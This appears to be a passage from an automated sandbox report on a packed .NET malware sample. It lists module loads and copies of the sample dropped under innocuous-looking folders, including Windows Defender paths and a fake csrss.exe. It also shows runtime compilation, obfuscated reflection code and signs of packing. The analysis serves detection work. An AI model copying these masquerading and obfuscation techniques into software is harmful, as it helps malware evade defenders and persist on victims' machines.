Source: C:\ProgramData\ssh\csrss.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: version.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: wldp.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: profapi.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: version.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: wldp.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: profapi.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\ssh\csrss.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: version.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: wldp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: profapi.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\Gg6wivFINd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\ProgramData\ssh\csrss.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Uninstall Information\6a193675dec995	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\6a193675dec995	Jump to behavior

Source: Gg6wivFINd.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Gg6wivFINd.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Gg6wivFINd.exe

Static file information: File size 1921536 > 1048576

Source: Gg6wivFINd.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1d4a00

Source: Gg6wivFINd.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.pdb source: Gg6wivFINd.exe, 00000000.00000002.1714628177.0000000003A50000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: Gg6wivFINd.exe, taUSyQp14VOrrdm1uo7.cs

.Net Code: Type.GetTypeFromHandle(fXZFNkqYH9WYJo1u7jP.GaYkI2yecuI(16777424)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(fXZFNkqYH9WYJo1u7jP.GaYkI2yecuI(16777245)),Type.GetTypeFromHandle(fXZFNkqYH9WYJo1u7jP.GaYkI2yecuI(16777259))})

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline"
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline"			Jump to behavior

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9B893CBB push dword ptr [ebp-42000000h]; retn 0000h	0_2_00007FFD9B893CC4
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9B9F29FD push cs; iretd	0_2_00007FFD9B9F29FE
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9B9F71A1 push ss; iretd	0_2_00007FFD9B9F71A7
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9B9F60AA pushad ; retf	0_2_00007FFD9B9F60AD
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9BC95711 push ecx; iretd	0_2_00007FFD9BC95712
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9BC92DA6 push ss; ret	0_2_00007FFD9BC92DAF
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Code function: 0_2_00007FFD9BC9B8B5 push ecx; iretd	0_2_00007FFD9BC9B8B6
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8D752B push ebx; iretd	24_2_00007FFD9B8D756A
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8B9B14 push ds; ret	24_2_00007FFD9B8B9B1F
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8B21D4 pushad ; retf	24_2_00007FFD9B8B21D5
Source: C:\ProgramData\ssh\csrss.exe	Code function: 24_2_00007FFD9B8A3CBB push dword ptr [ebp-42000000h]; retn 0000h	24_2_00007FFD9B8A3CC4
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B889B14 push ds; ret	26_2_00007FFD9B889B1F
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B8821D4 pushad ; retf	26_2_00007FFD9B8821D5
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B8A752B push ebx; iretd	26_2_00007FFD9B8A756A
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B873CBB push dword ptr [ebp-42000000h]; retn 0000h	26_2_00007FFD9B873CC4
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B9D29FD push cs; iretd	26_2_00007FFD9B9D29FE
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B9D60AA pushad ; retf	26_2_00007FFD9B9D60AD
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9B9D71A1 push ss; iretd	26_2_00007FFD9B9D71A7
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC7AAFA push ebp; iretd	26_2_00007FFD9BC7AB12
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC7AAA2 push E85F0F81h; ret	26_2_00007FFD9BC7AAA9
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC7B096 push ebx; iretd	26_2_00007FFD9BC7B097
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC7301A push cs; ret	26_2_00007FFD9BC7301B
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC72579 push ds; ret	26_2_00007FFD9BC72582
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC79560 push edx; iretd	26_2_00007FFD9BC795B2
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC7956C push edx; iretd	26_2_00007FFD9BC795B2
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC75588 push ss; iretd	26_2_00007FFD9BC75559
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC79530 push eax; iretd	26_2_00007FFD9BC7956A
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC75551 push ss; iretd	26_2_00007FFD9BC75559
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC79548 push eax; iretd	26_2_00007FFD9BC7956A
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC70CA0 push es; iretd	26_2_00007FFD9BC70CBA
Source: C:\ProgramData\ssh\csrss.exe	Code function: 26_2_00007FFD9BC7CCA9 pushfd ; iretd	26_2_00007FFD9BC7CCAA

Source: Gg6wivFINd.exe	Static PE information: section name: .text entropy: 7.539854111924912
Source: SKldWJijnIiMahBoQJBr.exe.0.dr	Static PE information: section name: .text entropy: 7.539854111924912
Source: SKldWJijnIiMahBoQJBr.exe0.0.dr	Static PE information: section name: .text entropy: 7.539854111924912
Source: SKldWJijnIiMahBoQJBr.exe1.0.dr	Static PE information: section name: .text entropy: 7.539854111924912
Source: SKldWJijnIiMahBoQJBr.exe2.0.dr	Static PE information: section name: .text entropy: 7.539854111924912

Source: Gg6wivFINd.exe, tWpphlueWXJXQCtiFyS.cs	High entropy of concatenated method names: 'nK7uBWLtHl', 'woQucb8NRg', 'XWfuR5v048', 'VYEuCqyF88', 'Uu7urmdvQm', 'fcLuwWSkU6', 'gRquuiAokf', 'VxNuvGa0Q2', 'E9wuJTuR4r', 'a9VuNuugDW'
Source: Gg6wivFINd.exe, wLJSAtDxZ9m3hb7ZmhQ.cs	High entropy of concatenated method names: 'tNtrc79rS0ORfBrfwH7J', 'bsDvLZ9rf7Z1QbYgHGht', 'Farb0h9rOt9q3XyY2OeF', 'KieYKNXO8J', 'xh1v8C9r2g09e673FE7G', 'qthSOY9r7W9b0q2TYAYy', 'gOscjA9rtxJDARXXdXVE', 'Sfnrox9rn8Lm5XIUhooE', 'sPbW9dvLUP', 'yIG2yy9rKkuQ3aUgsRIR'
Source: Gg6wivFINd.exe, NXBrZE6Ug2oYKjXPEau.cs	High entropy of concatenated method names: 'ed96oc4FqA', 'JmkmQx9BSb8KgmPsClGs', 'TAGjWS9BfJZjPqqAxkR6', 'Y291LN9BONg6ThYuDjhn', 'XjxtPY9BTNJi8FC0SOrG', 'fHTB6b9B7DgCxT2R2VpR', 'IRt6EqcJQ4', 'WrJ64vE1YJ', 'Ugd6dUdfso', 'fOm6xLHNFZ'
Source: Gg6wivFINd.exe, hGGeWiyKoPR1G0sTsMr.cs	High entropy of concatenated method names: 'vfie86D1c1', 'R5qe9LOKpj', 'Yd7', 'aJwekfwUyJ', 'zTgeQalnwe', 'QDSes3JBR0', 'bnYeIOcJvt', 't4RjII9SsPqjyf4JCcAQ', 'pZ8Fov9SIwukAD6dCSuO', 'tj7mOl9SZZ7X9OHd56dm'
Source: Gg6wivFINd.exe, BUBNwHIcg0bZjOQanXt.cs	High entropy of concatenated method names: 'l29', 'P9X', 'vmethod_0', 'lgZ9s0OuA0U', 'yv2ICofVQU', 'imethod_0', 'li4vg69eOMYWhCs6U6k1', 'MI3Pnn9eSDyO5bNQ84Xw', 'x36KYU9eT0uGMijId4Cm', 'L2DQum9e7tGpP9lBcw8W'
Source: Gg6wivFINd.exe, t5V7Qw9PQ7ithLKWlUi.cs	High entropy of concatenated method names: 'RTM', 'KZ3', 'H7p', 'eeS', 'imethod_0', 'XbG', 'vPy96zJoxRZ', 'tKB9s9Wh1v8', 'nrP7DG9jEWQCDB5Kd268', 'bVGpWd9j4qNme01SX5vM'
Source: Gg6wivFINd.exe, boFXolp8rXfm1dk8ui1.cs	High entropy of concatenated method names: 'RZbps0R7A3', 'm3wpIknFSM', 'bue4iA9hq8WV7HEfijA0', 'OIbtcJ9hKIkXfLs4M9SI', 'DsBMsx9hzrQ0ETo0fTyo', 'EiEOOl9q8ihPDLNc9XNE', 'NXSxvy9q97bfnRYf6H4O', 'mm3pkhy9Zl', 'OAmyvX9h2abxsQq2eueM', 'smfHwO9hnvDaeZkcWbJd'
Source: Gg6wivFINd.exe, fw5t2M9KEPpyrRTPGTS.cs	High entropy of concatenated method names: 'KZ3', 'fW4', 'imethod_0', 'U7v', 'nLb9g9iSi7I', 'tKB9s9Wh1v8', 'DIylXH9jhYiD4G76sYE6', 'L0Uk2F9jq81vuqDlxHBT', 'z0V9yR9jKQng5ZMTMPxP', 'XhNWfp9jz777IL8y6LLq'
